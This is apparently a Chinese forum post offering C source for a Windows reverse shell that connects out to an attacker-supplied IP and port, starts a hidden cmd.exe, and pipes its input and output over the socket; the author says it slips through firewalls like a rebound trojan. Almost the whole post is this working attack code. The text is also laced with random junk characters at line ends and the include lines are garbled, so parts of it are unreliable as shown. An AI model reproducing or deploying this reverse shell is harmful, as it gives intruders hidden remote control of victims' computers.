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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?m7:if+ y  
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/* ============================== sa1h%<   
Rebound port in Windows NT E<E3&;qD  
By wind,2006/7 FOwnxYGVf  
===============================*/ cc}Key@D  
#include :O-iykXyI  
#include 5O <>mCF  
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#pragma comment(lib,"wsock32.lib") )yG"^Ulu  
:~F:/5  
void OutputShell(); _;1}x%4v  
SOCKET sClient; OFk8>"|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?S Z1`.S  
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void main(int argc,char **argv) C NsNZJ  
{ s 5WqR 8  
WSADATA stWsaData; vI1i, x#i  
int nRet; m2~&#c\  
SOCKADDR_IN stSaiClient,stSaiServer; '3 33Ctxy  
^qGb%! l  
if(argc != 3) Jzkq)]M  
{ 6$U]9D  
printf("Useage:\n\rRebound DestIP DestPort\n"); '1?\/,em  
return; g{IF_ 1  
} \1"'E@+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); k o;>#::  
+Y"r71|A6+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tVuWVJ4M  
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stSaiClient.sin_family = AF_INET; P{OAV+cG  
stSaiClient.sin_port = htons(0); o*WY=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =GlVccc  
kIHDeo%K}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3_Cp%~Gi-_  
{ ldha|s.*  
printf("Bind Socket Failed!\n"); 54lu2gD'  
return; ~{hxR)x9  
} Wj|alH9<  
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stSaiServer.sin_family = AF_INET; W%<LTWOc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E`int?C!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &QRE"_g  
5 @U<I  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7ELMd{CD  
{ `?T#Hl>j  
printf("Connect Error!"); @ "a6fn  
return; aj8A8ma*}  
} q6Rr.A  
OutputShell(); 32DbNEk  
} -fhN"B)  
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void OutputShell() w(ln5q  
{ }En  
char szBuff[1024]; !+>v[(OzM  
SECURITY_ATTRIBUTES stSecurityAttributes; :NJ_n6E  
OSVERSIONINFO stOsversionInfo; ]]7 mlQ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4[Z\ ?[  
STARTUPINFO stStartupInfo; k@zy  
char *szShell; lC:k7<0Ji  
PROCESS_INFORMATION stProcessInformation; |4$M]Mf0  
unsigned long lBytesRead; .2d9?p3Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \(226^|j  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8n1'x;  
stSecurityAttributes.lpSecurityDescriptor = 0; infl.  
stSecurityAttributes.bInheritHandle = TRUE; Lg8nj< TF  
*I}`dC[  
S$KFf=0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XE^)VLH:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  _zlqtO  
EY*(Bw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V5+SWXZ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; COH<Tj  
stStartupInfo.wShowWindow = SW_HIDE; J>fQNW!{  
stStartupInfo.hStdInput = hReadPipe; *8~86u GU  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n]8<DX99Q0  
W3`>8v1?o  
GetVersionEx(&stOsversionInfo); DN4$Jva  
NM ]bgpP  
switch(stOsversionInfo.dwPlatformId) d%l{V6  
{ ^u 3V E  
case 1: /mo(_  
szShell = "command.com"; *s@Qtgu  
break; vJAZ%aW  
default: z-M3  
szShell = "cmd.exe"; \fr-<5w79  
break; Aw&tP[N[  
} [+O"<Ua  
~?B;!Csk  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F~A'X  
h iNEJ_f  
send(sClient,szMsg,77,0); LC1 (Xb f  
while(1) ^vG8#A}]  
{ UH3sH t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eQQ>  
if(lBytesRead) N0#JOu}~  
{ %Uz(Vd#K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k,euhA/&  
send(sClient,szBuff,lBytesRead,0); H'Yh2a`!o  
} 4CGPO c  
else o|jIM9/  
{ B"%{i-v>**  
lBytesRead=recv(sClient,szBuff,1024,0); 9"g6C<  
if(lBytesRead<=0) break; R8.CC1Ix  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y@PI {;!  
} /x3/Ubmz~x  
} o)'y.-@Q  
)BRKZQN  
return; 3sd"nR?aX  
}
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